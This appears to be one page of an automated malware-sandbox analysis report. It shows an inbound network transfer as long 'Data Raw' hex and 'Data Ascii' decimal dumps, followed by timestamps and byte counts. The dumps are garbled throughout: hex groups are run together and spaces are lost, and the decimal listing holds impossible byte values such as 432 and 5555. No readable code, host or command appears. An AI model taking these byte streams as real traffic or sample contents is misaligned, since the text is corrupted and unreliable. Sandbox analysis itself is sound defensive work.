Data Raw: 20 31 31 37 20 31 30 33 20 31 32 30 20 37 36 20 37 20 35 30 20 35 34 20 38 30 20 32 39 20 34 36 20 31 30
392031 31 32 20 35 36 20 32 37 20 34 39 20 35 38 20 31 32 37 20 31 34 36 20 31 31 20 38 37 20 31 31 32 20 35 30 20
353220 39 33 20 31 30 34 20 38 34 20 31 31 34 20 31 32 37 20 31 32 33 20 39 32 20 34 39 20 32 32 20 32 35 20 31 30
322037312031 313920393420 31353120 39 38 20 35 35 20 32 34 20 31 30 39 20 35 34 20 38 34 20 31 32 30 20
313230203130302031312033322034382035302035302031323120313132203934203837203132
3020 3539 20 37 35 20 33 35 20 35 34 20 38 34 20 31 31 38 20 32 34 39 20 33 37 20 31 31 32 20 35 30 20 34 39 20 39
3320 313039203834 2031313420313237203130312031323120

Data Ascii: 117 103 120 76 7 50 54 80 29 46 109 112 56 27 49 58 127 146 11 87 112 50 52 93 104 84 114 127 123 92 49
2225102 71119 94 151 98 55 24 109 54 84 120 120 100 11 32 48 50 50 121 112 94 87 120 59 75 35 54 84 118 249 37
11250 49 93 109 84 114 127 101 121

Data Raw: 31 31 37 20 31 30 39 20 31 31 36 20 35 38 20 33 39 20 37 39 20 33 36 20 38 34 20 31 31 34 20 31 31 33 20
313031 20 39 38 20 35 30 20 37 35 20 31 36 20 35 34 20 38 34 20 31 31 38 20 38 20 31 32 36 20 31 31 32 20 35 30 20
3532 20 35 38 20 33 36 20 38 34 20 39 20 38 34 20 31 30 39 20 31 31 32 20 35 34 20 37 37 20 33 38 20 35 34 20 38 34
2031 313820313033203130392031312031 3620 34 38 20 353020 3530 20 39 32 20 39 30 20 39 31 20 31 30
3820 313132203532 20323720353220363120313237203230382031323720373020323138203332
2035312032 36203133332038342031313420313237203634203235312032333620363220333220
3533203137 302031303020 3939203130392031 313220343120

Data Ascii: 117 109 116 58 39 79 36 84 114 113 101 98 50 75 16 54 84 118 8 126 112 50 52 58 36 84 9 84 109 112 54 77
3854 84 118 103 109 11 16 48 50 50 92 90 91 108 112 52 27 52 61 127 208 127 70 218 32 51 26 133 84 114 127 64 251
236 62 3253 170 100 99 109 112 41

Data Raw: 30 20 35 34 20 38 32 20 31 32 20 37 38 20 31 30 39 20 31 31 32 20 35 34 20 31 36 20 31 31 35 20 32 33 20
31333220 31 3038 20 39 33 20 31 34 36 20 31 31 32 20 35 30 20 35 34 20 37 36 20 37 37 20 38 34 20 31 31 34 20 31
313320 32 32 35 20 38 30 20 35 30 20 34 38 20 35 31 20 38 39 20 31 32 20 31 31 34 20 31 31 37 20 31 30 37 20 31 34
20 39 20 34 38 20 35 30 20 35 30 20 31 31 36 20 34 20 38 34 20 31 38 39 20 31 31 30 20 32 36 20 32 30 37 20 35 30 20
35342038 322031322039 203130392031 313220353420 313838203138 2035342038342031313520
3236 20 3533 20 31 31 32 20 35 30 20 35 34 20 37 36 20 31 33 20 38 34 20 31 31 34 20 31 31 33 20 37 37 20 32 39 20
313920 32 3234 2034 34 20 33 30 20 31 37 31 20 31 31 34 20 31 31 37 20

Data Ascii: 0 54 82 12 78 109 112 54 16 115 23 132 108 93 146 112 50 54 76 77 84 114 113 225 80 50 48 51 89 12 114
117 107 1494850 50 116 4 84 189 110 26 207 50 54 82 12 9 109 112 54 188 18 54 84 115 26 53 112 50 54 76 13 84 11
411377 29 19 224 4430 171 114 117

Data Raw: 34 20 31 31 34 20 31 31 35 20 36 39 20 31 39 36 20 35 30 20 34 38 20 35 32 20 33 30 20 35 33 20 31 31 34
203131 37 20 31 30 33 20 31 37 34 20 35 30 20 32 36 20 35 31 20 33 38 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39
20 39 38 20 35 30 20 39 39 20 38 37 20 35 34 20 37 34 20 35 32 20 31 31 37 20 31 30 39 20 31 31 33 20 33 33 20 30 20
353220 3534 20 38 35 20 31 31 35 20 31 31 37 20 31 30 39 20 39 34 20 35 30 20 34 38 20 33 35 20 33 30 20 35 38 20
313134203131 3720313037 20 31 30 32 20 33 30 20 35 37 20 32 30 20 34 39 20 31 30 39 20 31 33 30 20 31 31 37
2031 30 39 20 31 31 32 20 32 35 20 35 31 20 35 37 20 32 39 20 31 36 31 20 31 31 37 20 36 20 31 37 30 20 31 31 32 20
35302035382034332031322031333320313134203131372031

Data Ascii: 4 114 115 69 196 50 48 52 30 53 114 117 103 174 50 26 51 38 84 114 117 109 98 50 99 87 54 74 52 117 109
113330525485 115 117 109 94 50 48 35 30 58 114 117 107 102 30 57 20 49 109 130 117 109 112 25 51 57 29 161 11
7617011250584312 1331141171

Data Raw: 31 32 34 20 33 32 20 31 31 37 20 31 30 39 20 31 32 32 20 39 33 20 31 39 31 20 35 30 20 35 34 20 39 34 20
313136 20 31 30 39 20 35 33 20 31 32 32 20 35 32 20 35 37 20 33 20 31 35 37 20 31 32 36 20 39 37 20 36 39 20 31 30
3420 31 31 3220 32 33 35 20 34 38 20 35 30 20 35 34 20 31 30 30 20 31 31 34 20 31 31 37 20 31 32 34 20 31 31 34 20
31 38 38 20 31 33 35 20 33 36 20 35 20 38 35 20 38 38 20 31 31 39 20 31 32 33 20 32 33 34 20 37 35 20 32 20 35 30 20
35 34 20 38 35 20 33 20 37 31 20 31 30 39 20 31 31 32 20 35 31 20 33 38 20 33 30 20 33 30 20 31 31 34 20 31 31 32 20
39 38 20 32 34 37 20 34 20 35 36 20 34 38 20 35 30 20 34 35 20 37 34 20 39 35 20 38 36 20 37 35 20 31 34 20 35 20 34
38 20 35 30 20 35 30 20 31 32 34 20 31 38 20 31 31 36 20 31 30 39 20 31 31

Data Ascii: 124 32 117 109 122 93 191 50 54 94 116 109 53 122 52 57 3 157 126 97 69 104 112 235 48 50 54 100 114
117 124 114 188 13536 58588 119 123 234 75 250 54 85 3 71 109 112 51 38 30 30 114 112 98 247 4 56 48 50 45 74
9586 7514 548 50 50 124 18 116 109 11

Data Raw: 32 31 38 20 31 39 37 20 39 33 20 31 36 32 20 31 31 32 20 35 30 20 35 38 20 35 32 20 32 38 20 38 34 20 31
3136 20 39 35 20 31 30 39 20 31 31 32 20 33 33 20 30 20 35 32 20 35 34 20 39 38 20 31 31 34 20 31 31 37 20 31 30 39
20 36 36 20 35 30 20 34 38 20 33 35 20 33 36 20 38 35 20 31 31 32 20 31 31 30 20 31 32 32 20 39 33 20 32 37 20 32 32
20 32 32 36 20 31 38 37 20 38 34 20 31 31 34 20 31 31 36 20 36 39 20 35 34 20 35 30 20 34 38 20 35 36 20 33 32 20 35
3920 31 36 32 20 31 31 37 20 31 30 39 20 31 32 32 20 33 36 20 31 37 30 20 37 30 20 31 38 37 20 38 34 20 31 31 34 20
31 31 36 20 32 20 31 36 31 20 35 30 20 34 38 20 35 36 20 33 30 20 31 33 34 20 31 31 34 20 31 31 37 20 31 30 33 20 31
3139 20 34 33 20 34 35 20 33 31 20 35 31 20 31 31 34 20 38 38 20 38 33 20

Data Ascii: 218 197 93 162 112 50 58 52 28 84 116 95 109 112 33 0 52 54 98 114 117 109 66 50 48 35 36 85 112 110 122
93 27 22 226 187 84 114 116 69 54 50 48 56 32 59 162 117 109 122 36 170 70 187 84 114 116 2 161 50 48 56 30 134 1
14117 103 11943 4531 51 114 88 83

Data Raw: 38 20 39 34 20 31 35 33 20 39 30 20 31 38 20 32 30 32 20 35 30 20 35 34 20 38 34 20 39 30 20 31 37 31 20
313039 20 31 31 32 20 35 36 20 35 35 20 31 38 20 32 30 34 20 38 34 20 31 31 34 20 31 31 37 20 35 33 20 31 32 33 20
3533 20 35 36 20 33 20 31 34 32 20 31 32 34 20 32 35 30 20 31 31 37 20 31 30 39 20 31 31 38 20 32 34 20 31 32 36 20
3236 20 31 31 39 20 38 35 20 31 31 34 20 31 31 35 20 31 32 33 20 39 34 20 35 36 20 32 34 20 31 31 3520 35 35 20 38
34 20 31 31 36 20 39 33 20 31 37 39 20 31 31 32 20 35 30 20 35 38 20 32 34 20 31 32 30 20 31 32 34 20 37 3320 31 31
36 20 31 30 39 20 31 31 38 20 33 31 20 34 39 20 32 34 20 33 30 20 31 33 39 20 31 31 34 20 31 31 37 20 31 30 33 20 38
38 20 31 38 32 20 34 38 20 35 30 20 34 38 20 31 32 36 20 31 30 35 20 36 39

Data Ascii: 8 94 153 90 18 202 50 54 84 90 171 109 112 56 55 18 204 84 114 117 53 123 53 56 3 142 124 250 117 109
118 24 126 26 119 85 114 115 123 94 56 24 11555 84 116 93 179 112 50 58 24 120 124 73 116 109 118 31 49 24 30 139
114 117 103 88 182 48 50 48 126 105 69
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Data Raw: 39 20 31 31 38 20 31 30 32 20 39 31 20 32 32 33 20 35 35 20 31 38 20 32 32 39 20 31 31 39 20 31 36 32 20
31 3037 20 36 39 20 31 34 33 20 35 30 20 34 38 20 35 32 20 33 30 20 31 33 39 20 31 31 34 20 31 31 37 20 31 30 33 20
33 3120 32 31 38 20 34 38 20 35 30 20 36 30 20 37 33 20 39 35 20 39 36 20 37 35 20 31 34 20 37 37 20 34 38 20 35 30
203530203932 203832203130312037 342031313220 353020323420313931203534203834203131
36 20 38 39 20 39 38 20 39 31 20 34 39 20 36 30 20 32 35 20 32 32 33 20 31 32 34 20 31 37 3320 31 31 3720 31 30 39
2031 32 322032362031 37 39 20 35 30 20 35 34 20 38 32 20 39 30 20 36 36 20 31 30 38 20 31 31 32 20 3532 20 39
20 31 38 32 20 35 34 20 38 34 20 31 31 34 20 31 31 34 20 37 37 20 31 36 33

Data Ascii: 9 118 102 91 223 55 18 229 119 162 107 69 143 50 48 52 30 139 114 117 103 31 218 48 50 60 73 95 96 75 14
77 48 50 50 92 82 101 74 112 50 24 191 54 84 116 89 98 91 49 60 25 223 124 173 117 109 122 26 179 50 54 82 90 66
108 11252 9 182 54 84 114 114 77 163

Data Raw: 20 35 31 20 38 39 20 31 38 36 20 31 31 34 20 31 31 37 20 31 30 33 20 38 38 20 32 32 31 20 34 38 20 35 30
20 3630 20 36 37 20 31 34 30 20 31 31 36 20 37 31 20 31 31 32 20 35 30 20 33 35 20 32 20 35 33 20 38 34 20 38 34 20
313137 2031 30 39 20 31 31 32 20 31 31 20 34 38 20 35 30 20 33 39 20 31 32 34 20 31 35 20 31 31 37 20 31 30 39 20
313138203331203530203337203238203132342031333020313137 20313039 203132322036 3520
3139 332035302035 342039 3420313037 20 38 38 20 39 36 20 38 36 20 35 33 20 31 36 20 31 38 20 35 32 20 38
342031313420323620313539203131322035302035382032342036312031323720313331203131
3720 31 3039 20 39 39 20 32 20 35 31 20 35 30 20 31 32 20 38 34 20 31 31

Data Ascii: 51 89 186 114 117 103 88 221 48 50 60 67 140 116 71 112 50 35 2 53 84 84 117 109 112 11 48 50 39 124 15
117 109 118 31 50 37 28 124 130 117 109 122 65 193 50 54 94 107 88 96 86 53 16 18 52 84 114 26 159 112 50 58 24 61
127 13111710999 251501284 11

Data Raw: 32 20 32 33 20 34 38 20 31 30 20 31 30 37 20 38 34 20 38 32 20 35 31 20 31 30 39 20 31 31 32 20 35 31 20
34 3320 32 20 35 33 20 38 34 20 33 30 20 31 31 37 20 31 30 39 20 31 31 32 20 31 35 20 34 38 20 35 30 20 33 39 20 34
322031 352031 313720313039 203131362031 382032323420 3232203233 302037342039 30203133
382031303920313132203532203234 2031 3534203534 2038342031 323020313034 203634203132
332032302035 3520323620 313532203834 20313134203132372036342031313920323520353120
3537 2032392031 36 37 20 31 30 32 20 39 35 20 31 30 36 20 38 38 20 32 30 31 20 34 38 20 35 30 20 36 30 20 37 37
2039 3520 31 32 36 20 37 35 20 31 32 30 20 32 36 20 31 35 38 20 35 30 20

Data Ascii: 2 23 48 10 107 84 82 51 109 112 51 432 53 84 30 117 109 112 15 48 50 39 42 15 117 109 116 18 224 22 230
7490 138 109 112 52 24 154 54 84 120 104 64 123 20 55 26 152 84 114 127 64 119 2551 57 29 167 102 95 106 88 201
48 50 60 77 95 126 75 120 26 158 50

Data Raw: 20 36 37 20 32 30 37 20 35 34 20 38 34 20 31 32 30 20 31 30 35 20 36 34 20 31 30 30 20 32 30 20 32 34 20
313237 20 35 35 20 38 34 20 31 31 36 20 31 30 33 20 31 31 31 20 38 38 20 32 30 34 20 34 38 20 35 30 20 36 30 20 31
323020 31 32 35 20 39 34 20 31 30 37 20 31 32 34 20 32 35 20 32 31 32 20 36 33 20 32 39 20 31 39 30 20 31 32 33 20
313235203220 31 343320353020 34 38 20 35 36 20 33 30 20 32 36 20 31 31 35 20 31 31 37 20 31 30 37 20 39 38
20 34 38 20 32 34 20 32 30 34 20 35 34 20 38 34 20 31 32 30 20 38 39 20 31 30 36 20 31 32 31 20 35 38 20 39 35 20 32
303520 3534 20 38 34 20 31 32 30 20 31 31 35 20 31 30 30 20 33 31 20 35 30 20 34 39 20 35 30 20 36 30 20 35 39 20
3233 312031313620 3130392031 313820353220 32 3620 353020

Data Ascii: 67 207 54 84 120 105 64 100 20 24 127 55 84 116 103 111 88 204 48 50 60 120 125 94 107 124 25 212 63 29
190 123 125 2 143 50 48 56 30 26 115 117 107 98 48 24 204 54 84 120 89 106 121 58 95 205 54 84 120 115 100 31 50
49 50 60 59 231 116 109 118 52 26 50

Data Raw: 20 31 31 32 20 35 34 20 32 34 20 35 35 20 35 35 20 38 34 20 31 32 30 20 39 38 20 37 20 36 37 20 33 38 20
323420 31 30 30 20 35 35 20 38 34 20 31 31 36 20 31 30 37 20 36 34 20 31 32 31 20 32 30 20 33 38 20 32 36 20 31 37
36 20 38 34 20 31 31 34 20 31 31 35 20 37 30 20 31 31 35 20 32 30 20 32 37 20 31 39 39 20 32 38 20 38 34 20 31 38 30
20 31 312033 37 20 31 31 32 20 35 30 20 35 32 20 33 36 20 39 32 20 31 30 33 20 31 31 35 20 39 35 20 31 38 20 35 36
20 35 30 20 34 38 20 35 34 20 33 30 20 38 32 20 31 31 35 20 31 31 37 20 31 30 33 20 31 30 32 20 38 38 20 33 20 34 32
20 33 3020 31 30 34 20 31 31 35 20 31 31 37 20 31 30 37 20 39 32 20 35 35 20 32 34 20 37 34 20 35 34 20 38 34 20 31
31 36 20 39 33 20 38 30 20 31 31 33 20 35 30 20 35 34 20 33 30 20 35 31 20

Data Ascii: 112 54 24 5555 84 120 98 7 67 38 24 100 55 84 116 107 64 121 20 38 26 176 84 114 115 70 115 20 27 199
28 84180 11 37 112 50 52 36 92 103 115 95 18 56 50 48 54 30 82 115 117 103 102 88 3 42 30 104 115 117 107 92 55 24
745484 116 93 80 113 50 54 30 51

Data Raw: 31 30 39 20 33 39 20 31 30 31 20 34 38 20 31 38 20 31 31 32 20 38 34 20 31 31 34 20 31 31 36 20 31 31 38
20 36 34 20 34 39 20 34 38 20 37 33 20 35 34 20 38 34 20 31 31 34 20 35 35 20 31 30 39 20 31 31 32 20 33 35 20 31 36
2031 38 39 20 31 39 20 31 33 32 20 31 30 38 20 39 33 20 31 34 36 20 31 31 32 20 35 30 20 35 34 20 34 38 20 33 30 20
38 20 31 3134 20 31 31 37 20 31 30 33 20 31 30 32 20 33 30 20 32 37 20 32 30 20 32 32 20 31 32 38 20 38 37 20 31 36
3520 31 31 3520 38 38 20 32 30 35 20 34 38 20 35 30 20 34 38 20 38 33 20 39 30 20 32 32 39 20 31 30 39 20 31 31 32
20 35 32 20 34 36 20 33 31 20 34 34 20 31 31 34 20 31 32 32 20 39 33 20 31 33 37 20 31 31 32 20 35 30 20 35 38 20 34
36 20 32 37 20 37 31 20 38 34 20 31 30 30 20 31 30 35 20 31 31 35 20 39 33

Data Ascii: 109 39 101 48 18 112 84 114 116 118 64 49 48 73 54 84 114 55 109 112 35 16 189 19 132 108 93 146 112 50
54 48 30 8 114 117 103 102 30 27 20 22 128 87 165 115 88 205 48 50 48 83 90 229 109 112 52 46 31 44 114 122 93 137
11250 58 46 27 71 84 100 105 115 93

Data Raw: 31 37 20 31 30 37 20 39 32 20 35 35 20 32 33 37 20 31 37 36 20 35 34 20 38 34 20 31 31 34 20 31 31 20 39
322031 31 32 20 35 30 20 35 32 20 32 36 20 33 38 20 38 35 20 31 31 34 20 31 32 37 20 36 39 20 31 33 33 20 35 30 20
34 38 20 35 36 20 31 36 20 34 32 20 36 37 20 31 31 37 20 31 30 39 20 31 31 36 20 32 36 20 31 36 31 20 35 30 20 35 34
20 38 32 20 39 35 20 31 30 38 20 31 39 20 36 35 20 35 30 20 34 38 20 35 34 20 33 30 20 39 34 20 31 31 35 20 31 31 37
20 31 30 33 20 38 38 20 32 33 37 20 34 38 20 35 30 20 36 30 20 34 32 20 36 37 20 31 31 37 20 31 30 39 20 31 31 36 20
32 36 20 33 33 20 35 31 20 35 34 20 39 34 20 31 32 20 31 30 33 20 31 30 38 20 31 31 32 20 35 36 20 37 38 20 32 39 20
3534 20 38 34 20 31 31 38 20 39 38 20 32 20 31 35 37 20 35 30 20 34 38 20

Data Ascii: 17 107 92 55 237 176 54 84 114 11 92 112 50 52 26 38 85 114 127 69 133 50 48 56 16 42 67 117 109 116 26
161 50 54 82 95 108 19 65 50 48 54 30 94 115 117 103 88 237 48 50 60 42 67 117 109 116 26 33 51 54 94 12 103 108 1
12 56 78 29 54 84 118 98 2 157 50 48

Data Raw: 31 32 32 20 37 36 20 30 20 35 30 20 35 34 20 38 30 20 39 30 20 31 30 30 20 31 30 38 20 31 31 32 20 35 36
20 37 38 20 32 32 32 20 35 34 20 38 34 20 31 32 30 20 31 31 20 36 36 20 31 31 32 20 35 30 20 35 32 20 33 37 20 38 39
20 31 38 3520 31 31 34 20 31 31 37 20 31 30 33 20 31 30 37 20 33 31 20 34 30 20 32 30 20 34 38 20 34 32 20 31 33 20
3131372031 30 39 20 31 31 36 20 37 36 20 30 20 35 30 20 35 34 20 38 30 20 32 39 20 31 30 32 20 31 30 38 20 31 31
32 20 35 36 20 32 34 20 31 36 31 20 35 34 20 38 34 20 31 31 36 20 31 37 31 20 37 34 20 31 32 32 20 32 3520 32 31 34
20 32 33 20 33 30 20 32 34 20 31 31 34 20 31 31 37 20 31 30 33 20 31 30 37 20 33 31 20 34 30 20 32 30 20 34 39 20 31
3136 20 31 32 33 20 38 30 20 31 38 39 20 31 31 30 20 32 36 20 32 30 37 20

Data Ascii: 122 76 0 50 54 80 90 100 108 112 56 78 222 54 84 120 11 66 112 50 52 37 89 185 114 117 103 107 31 40 20
48 42 13117 109 116 76 0 50 54 80 29 102 108 112 56 24 161 54 84 116 171 74 122 25 214 23 30 24 114 117 103 107 31
402049 116 123 80 189 110 26 207
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Data Raw: 33 20 31 34 36 20 31 31 32 20 35 30 20 35 34 20 32 36 20 31 33 30 20 38 34 20 31 31 34 20 31 31 35 20 36
3920 31 37 20 35 30 20 34 38 20 35 36 20 32 33 32 20 38 34 20 31 30 30 20 39 35 20 31 30 37 20 39 30 20 37 36 20 30
20 3531 20 33 38 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 31 32 30 20 31 32 32 20 35 34
2037 342035322031 31372031303920 313133203439 203020353620353420373720313134203131
372031303920 31313220 35302034 3820353020 35332037 392031 3131 20 38 38 20 31 32 34 20 38 36 20
39 33 20 33 38 20 35 31 20 35 34 20 39 34 20 36 20 35 31 20 31 30 39 20 31 31 32 20 35 31 20 32 34 20 31 37 31 20 35
34 20 38 34 20 31 31 36 20 39 35 20 37 35 20 39 31 20 32 32 33 20 34 38 20

Data Ascii: 3 146 112 50 54 26 130 84 114 115 69 17 50 48 56 232 84 100 95 107 90 76 0 51 38 84 114 117 109 112 50
12012254 7452 117 109 113 49 056 54 77 114 117 109 112 50 48 50 53 79 111 88 124 86 93 38 51 54 94 6 51 109 112
5124 17154 84 116 95 75 91 223 48

Data Raw: 37 20 31 30 39 20 31 31 32 20 35 36 20 32 34 20 38 33 20 35 34 20 38 34 20 31 32 30 20 31 37 31 20 31 30
392039 30 20 34 39 20 36 30 20 35 31 20 33 38 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20
31 38 35 20 31 38 37 20 35 34 20 38 38 20 35 32 20 31 31 37 20 31 30 39 20 31 31 33 20 33 33 20 30 20 35 34 20 35 34
203234 203131342031313720313039 2035 372035302034 38203335203732203432203131342031
3137 203130352031 31342031382031363120 323020 3233302037 3420393020 31333820313039 20
313132203532203234203231392035342038342031323020393320313937203131322035302035
38 20 34 30 20 32 37 20 39 35 20 38 34 20 31 31 35 20 36 39 20 32 32 32 20

Data Ascii: 7 109 112 56 24 83 54 84 120 171 109 90 49 60 51 38 84 114 117 109 112 50 185 187 54 88 52 117 109 113
330545424114 117 109 57 50 48 3572 42 114 117 105 114 18 161 20 230 74 90 138 109 112 52 24 219 54 84 120 93
197 112 50 58 40 27 95 84 115 69 222

Data Raw: 20 35 34 20 38 34 20 31 32 30 20 31 36 39 20 37 31 20 31 31 32 20 35 30 20 34 39 20 35 31 20 33 38 20 38
342031 3134 20 31 31 39 20 31 30 39 20 31 30 30 20 35 30 20 31 38 39 20 31 34 37 20 35 34 20 38 33 20 31 31 34 20
313137 2031 30 39 20 31 31 32 20 34 31 20 30 20 35 34 20 35 34 20 32 34 37 20 31 31 34 20 31 31 37 20 31 30 39 20
353920 3530 20 34 38 20 33 35 20 37 32 20 33 30 20 31 31 34 20 31 31 37 20 31 30 35 20 31 30 35 20 33 31 20 35 37
2032302036322031323420323531203131372031303920313232203235203531203632203239 20
313631203131322039332032342031313220353020353820333020353120313337203234332031
3137 2031303920313132203438203136203131332031362031

Data Ascii: 54 84 120 169 71 112 50 49 51 38 84 114 119 109 100 50 189 147 54 83 114 117 109 112 41 0 54 54 247 114
117 109 59 50 48 35 72 30 114 117 105 105 31 57 20 62 124 251 117 109 122 25 51 62 29 161 112 93 24 112 50 58 30 51
137243 11710911248 16113161

Data Raw: 34 38 20 31 32 34 20 31 39 33 20 31 31 37 20 31 30 39 20 31 31 38 20 32 36 20 38 31 20 35 30 20 35 34 20
39342031 37 32 20 31 31 38 20 31 30 32 20 39 31 20 32 31 30 20 33 34 20 34 38 20 33 30 20 3534 20 31 31 34 20 31
3137 20 31 30 33 20 39 33 20 31 35 31 20 32 33 38 20 36 30 20 33 36 20 38 36 20 31 34 30 20 39 39 20 39 39 20 31 31
3220 353020 34 33 20 39 33 20 38 35 20 38 34 20 31 31 34 20 31 32 37 20 31 37 37 20 39 30 20 35 30 20 34 39 20 34
36 20 3534 20 38 34 20 31 31 34 20 31 31 37 20 38 38 20 31 31 32 20 36 30 20 31 31 35 20 35 30 20 32 38 20 31 38 20
31313420313137203130382031313420353020 3536 203530203730203434203131342031323320
313039 20 31 31 32 20 35 30 20 34 38 20 34 31 20 36 20 38 30 20 31 31 34

Data Ascii: 48 124 193 117 109 118 26 81 50 54 94 172 118 102 91 210 34 48 30 54 114 117 103 93 151 238 60 36 86
1409999 112 50 43 93 85 84 114 127 177 90 50 49 46 54 84 114 117 88 112 60 115 50 28 18 114 117 108 114 50 56 50
7044 114 123 109 112 50 48 41 6 80 114

Data Raw: 20 31 31 36 20 31 30 39 20 31 32 32 20 33 38 20 32 30 36 20 35 32 20 32 34 34 20 38 34 20 31 31 34 20 31
31 3520 33 30 20 31 35 34 20 35 30 20 34 38 20 35 36 20 33 30 20 31 39 31 20 31 31 34 20 31 31 37 20 31 30 33 20 38
36 20 32 34 20 31 37 38 20 35 30 20 35 35 20 36 38 20 31 31 34 20 31 31 37 20 31 31 31 20 31 31 32 20 31 34 20 34 38
20 32 36 20 38 32 20 38 34 20 31 31 37 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 33 20 32 20 35 30 20 38 34
2032 353120313137 20313039 2031313220 31 323720 34 38 20 35 30 20 33 39 20 34 32 20 37 3220 31 31 37
2031 30 39 20 31 31 36 20 31 31 20 37 38 20 35 30 20 35 34 20 38 34 20 31 32 20 37 39 20 31 30 39 20 31 31 32 20 35
34 20 39 35 20 31 30 38 20 35 34 20 38 34 20 31 32 30 20 39 36 20 36 34 20

Data Ascii: 116 109 122 38 206 52 244 84 114 115 30 154 50 48 56 30 191 114 117 103 86 24 178 50 55 68 114 117 111
11214 4826 8284 117 117 109 112 50 43 2 50 84 251 117 109 112 127 48 50 39 42 72 117 109 116 11 78 50 54 84 12
79109 112 54 95 108 54 84 120 96 64

Data Raw: 20 31 31 33 20 35 30 20 35 38 20 32 36 20 31 35 35 20 38 34 20 31 31 34 20 31 32 37 20 36 39 20 31 39 37
20 3530 20 34 38 20 35 32 20 37 32 20 34 33 20 31 31 34 20 31 31 37 20 31 30 33 20 38 38 20 31 33 35 20 34 38 20 35
30 20 34 38 20 31 32 36 20 38 34 20 39 34 20 32 31 31 20 38 36 20 32 35 20 32 32 39 20 32 30 20 32 39 20 31 33 37 20
31 31342031 31 37 20 31 32 36 20 36 34 20 34 39 20 34 38 20 31 39 37 20 35 34 20 38 34 20 31 31 3420 33 32 20 31
3039 20 31 31 32 20 33 35 20 37 38 20 31 31 35 20 35 34 20 38 34 20 31 31 38 20 38 38 20 31 30 33 20 3134 20 31 31
34 20 34 38 20 35 30 20 35 30 20 31 30 39 20 31 35 31 20 31 31 37 20 31 30 39 20 31 31 32 20 34 38 20 39 35 20 32 20
35 3520 38 34 20 31 32 30 20 31 31 30 20 36 34 20 38 32 20 32 30 20 37 39

Data Ascii: 113 50 58 26 155 84 114 127 69 197 50 48 52 72 43 114 117 103 88 135 48 50 48 126 84 94 211 86 25 229
2029137 114 117 126 64 49 48 197 54 84 114 32 109 112 35 78 115 54 84 118 88 103 14 114 48 50 50 109 151 117 109
112 48 952 55 84 120 110 64 82 20 79

Data Raw: 30 20 31 31 38 20 39 33 20 36 35 20 31 31 33 20 35 30 20 35 34 20 33 39 20 32 37 20 39 33 20 38 34 20 31
313920 31 30 37 20 33 31 20 31 34 37 20 34 39 20 35 30 20 34 38 20 31 32 36 20 31 32 30 20 39 34 20 31 35 32 20 31
31 32 20 35 30 20 33 35 20 32 20 34 38 20 38 34 20 31 30 35 20 31 31 37 20 31 30 39 20 31 31 32 20 31 30 31 20 34 38
20 35 30 20 33 39 20 38 37 20 31 31 38 20 31 31 32 20 39 39 20 31 31 36 20 36 30 20 35 33 20 32 36 20 32 36 20 38 35
2031 31 34 2031 31 35 20 31 31 36 20 39 33 20 35 39 20 32 32 20 34 38 20 34 38 20 35 39 20 32 31 31 20 31 31 36 20
31 30 39 20 31 31 38 20 32 34 20 35 38 20 32 35 20 31 39 35 20 38 34 20 39 37 20 36 39 20 31 30 37 20 31 31 32 20 35
20 34 38 20 35 30 20 35 34 20 36 37 20 31 31 34 20 31 31 37 20 31 32 34 20

Data Ascii: 0 118 93 65 113 50 54 39 27 93 84 119 107 31 147 49 50 48 126 120 94 152 112 50 35 2 48 84 105 117 109
112 101 4850 39 87 118 112 99 116 60 53 26 26 85 114 115 116 93 59 22 48 48 59 211 116 109 118 24 58 25 195 84 97
69 107 112 548 50 54 67 114 117 124

Data Raw: 20 31 30 39 20 31 31 36 20 32 36 20 31 32 20 35 31 20 35 34 20 39 34 20 31 32 31 20 31 30 33 20 31 30 38
20 38 38 20 31 35 20 34 39 20 35 30 20 36 30 20 31 32 34 20 35 35 20 31 31 36 20 31 30 39 20 31 31 38 20 39 34 20 37
20 33 39 20 32 39 20 38 33 20 32 34 32 20 35 39 20 31 30 39 20 31 31 32 20 35 34 20 32 37 20 32 33 38 20 37 32 20 32
332031313420 3131372031 303520333120 31 34 35 20 34 39 20 35 30 20 34 38 20 31 32 37 20 31 31 39 20 39
332031 323220 31 31 33 20 35 30 20 35 34 20 32 34 20 33 37 20 31 30 30 20 31 31 33 20 31 31 37 20 38 34 20 31 31
32 20 35 30 20 34 38 20 31 31 30 20 35 34 20 38 34 20 39 39 20 38 35 20 37 37 20 36 32 20 35 30 20 34 38 20 32 36 20
32 333220 38 34 20 31 31 34 20 31 32 37 20 37 37 20 31 31 33 20 35 30 20

Data Ascii: 109 116 26 12 51 54 94 121 103 108 88 15 49 50 60 124 55 116 109 118 94 7 39 29 83 242 59 109 112 54 27
238 72 23 114 117 105 31 145 49 50 48 127 119 93 122 113 50 54 24 37 100 113 117 84 112 50 48 110 54 84 99 85 77
62 50 48 26 232 84 114 127 77 113 50

Page 86 of 118



kBytes
Timestamp transferred

2021-09-27 18:28:01 UTC 3453

2021-09-27 18:28:01 UTC 3457

2021-09-27 18:28:01 UTC 3461

2021-09-27 18:28:01 UTC 3465

2021-09-27 18:28:01 UTC 3469

2021-09-27 18:28:01 UTC 3473

2021-09-27 18:28:01 UTC 3476

2021-09-27 18:28:01 UTC 3480

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 31 31 34 20 31 31 36 20 32 30 37 20 31 31 38 20 32 36 20 31 33 36 20 35 30 20 35 34 20 38 32 20 38 38 20
313237 20 37 30 20 31 34 36 20 33 33 20 30 20 35 38 20 35 34 20 31 30 38 20 31 31 34 20 31 31 37 20 31 30 39 20 32
3320 35 30 20 34 38 20 33 35 20 35 33 20 38 30 20 31 31 39 20 39 33 20 34 33 20 31 31 32 20 35 30 20 35 34 20 34 30
2032372031 313520383420 313120323335 2031313220 353020 3532 20 33 37 20 34 36 20 37 39 20 31 30
36 20 32 34 38 20 33 31 20 31 31 32 20 35 30 20 34 39 20 33 37 20 32 37 20 37 36 20 38 34 20 31 31 34 20 31 32 33 20
3131342031393020 31323020 353020353420383520323038203131342031323220313138203134
3420 35352032 3620 31 34 3220 38 34 20 31 31 34 20 31 31 3520 37 31

Data Ascii: 114 116 207 118 26 136 50 54 82 88 127 70 146 33 0 58 54 108 114 117 109 23 50 48 35 53 80 119 93 43 112
5054 40 27 115 84 11 235 112 50 52 37 46 79 106 248 31 112 50 49 37 27 76 84 114 123 114 190 120 50 54 85 208 114
122118 144552614284 11411571

